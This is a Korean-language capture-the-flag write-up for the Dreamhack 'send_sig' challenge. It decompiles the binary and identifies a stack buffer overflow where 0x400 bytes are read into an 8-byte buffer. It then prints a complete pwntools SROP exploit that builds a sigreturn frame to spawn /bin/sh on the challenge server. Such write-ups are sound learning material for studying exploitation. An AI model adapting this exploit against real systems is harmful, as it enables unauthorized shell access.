[Dreamhack System Hacking] send_sig

send_sig

 

 

Code

start 함수

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}

sub_4010B6 함수를 호출하는 걸 확인할 수 있기 때문에 이를 분석해보고자 한다.

 

sub_4010B6 함수

ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

다음 함수를 보면, buf의 크기는 8인데, read 함수를 통해 0x400만큼 읽어들이기 때문에 스택 버퍼 오버플로우가 발생한다.

 

sub_401090 함수

const char *sub_401090()
{
  return "/bin/sh";
}

 

 

익스플로잇 코드

from pwn import *

context.arch = "x86_64"
p = remote("host3.dreamhack.games", 13589)
e = ELF("./send_sig")
r = ROP(e)

pop_rax = r.find_gadget(['pop rax', 'ret'])[0]
syscall = r.find_gadget(['syscall'])[0]
binsh = 0x402000

frame = SigreturnFrame()

# execve("/bin/sh", 0, 0)
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b"A" * 16
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)

p.sendlineafter("Signal:", payload)
p.interactive()